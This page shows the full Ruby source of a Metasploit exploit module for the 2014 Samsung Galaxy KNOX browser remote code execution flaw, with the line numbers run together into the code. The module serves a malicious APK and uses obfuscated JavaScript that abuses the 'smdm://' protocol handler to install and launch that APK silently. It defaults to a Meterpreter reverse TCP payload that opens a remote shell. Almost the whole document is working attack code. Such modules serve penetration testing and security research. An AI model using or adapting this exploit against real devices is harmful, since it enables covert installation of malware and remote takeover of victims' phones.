Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/browser/samsung_knox_smdm_url.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'digest/md5'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::BrowserExploitServer1112# Hash that maps payload ID -> (0|1) if an HTTP request has13# been made to download a payload of that ID14attr_reader :served_payloads1516def initialize(info = {})17super(update_info(info,18'Name' => 'Samsung Galaxy KNOX Android Browser RCE',19'Description' => %q{20A vulnerability exists in the KNOX security component of the Samsung Galaxy21firmware that allows a remote webpage to install an APK with arbitrary22permissions by abusing the 'smdm://' protocol handler registered by the KNOX23component.2425The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,26and Ace 4.27},28'License' => MSF_LICENSE,29'Author' => [30'Andre Moulu', # discovery, advisory, and exploitation help31'jduck', # msf module32'joev' # msf module33],34'References' => [35['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],36['OSVDB', '114590']37],38'Platform' => 'android',39'Arch' => ARCH_DALVIK,40'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },41'Targets' => [ [ 'Automatic', {} ] ],42'DisclosureDate' => '2014-11-12',43'DefaultTarget' => 0,4445'BrowserRequirements' => {46:source => 'script',47:os_name => OperatingSystems::Match::ANDROID48}49))5051register_options([52OptString.new('APK_VERSION', [53false, "The update version to advertise to the client", "1337"54])55])5657deregister_options('JsObfuscate')58end5960def exploit61@served_payloads = Hash.new(0)62super63end6465def apk_bytes66payload.encoded67end6869def on_request_uri(cli, req)70if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/71if req.method.upcase == 'HEAD'72print_status "Serving metadata..."73send_response(cli, '', magic_headers)74else75print_status "Serving payload '#{$1}'..."76@served_payloads[$1] = 177send_response(cli, apk_bytes, magic_headers)78end79elsif req.uri =~ /_poll/80vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")81send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')82elsif req.uri =~ /launch$/83send_response_html(cli, launch_html)84else85super86end87end8889# The browser appears to be vulnerable, serve the exploit90def on_request_exploit(cli, req, browser)91print_status "Serving exploit..."92send_response_html(cli, generate_html)93end9495def magic_headers96{ 'Content-Length' => apk_bytes.length,97'ETag' => Digest::MD5.hexdigest(apk_bytes),98'x-amz-meta-apk-version' => datastore['APK_VERSION'] }99end100101def generate_html102%Q|103<!doctype html>104<html><body>105<script>106#{exploit_js}107</script></body></html>108|109end110111def exploit_js112payload_id = rand_word113114js_obfuscate %Q|115116function poll() {117var xhr = new XMLHttpRequest();118xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);119xhr.onreadystatechange = function(){120if (xhr.readyState == 4) {121if (xhr.responseText == '1') {122setTimeout(killEnrollment, 100);123} else {124setTimeout(poll, 1000);125setTimeout(enroll, 0);126setTimeout(enroll, 500);127}128}129};130xhr.onerror = function(){131setTimeout(poll, 1000);132setTimeout(enroll, 0);133};134xhr.send();135}136137function enroll() {138var loc = window.location.href.replace(/[/.]$/g, '');139top.location = 'smdm://#{rand_word}?update_url='+140encodeURIComponent(loc)+'/#{payload_id}.apk';141}142143function killEnrollment() {144top.location = "intent://#{rand_word}?program="+145"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";146setTimeout(launchApp, 300);147}148149function launchApp() {150top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';151}152153enroll();154setTimeout(poll,600);155156|157end158159def rand_word160Rex::Text.rand_text_alphanumeric(3+rand(12))161end162end163164165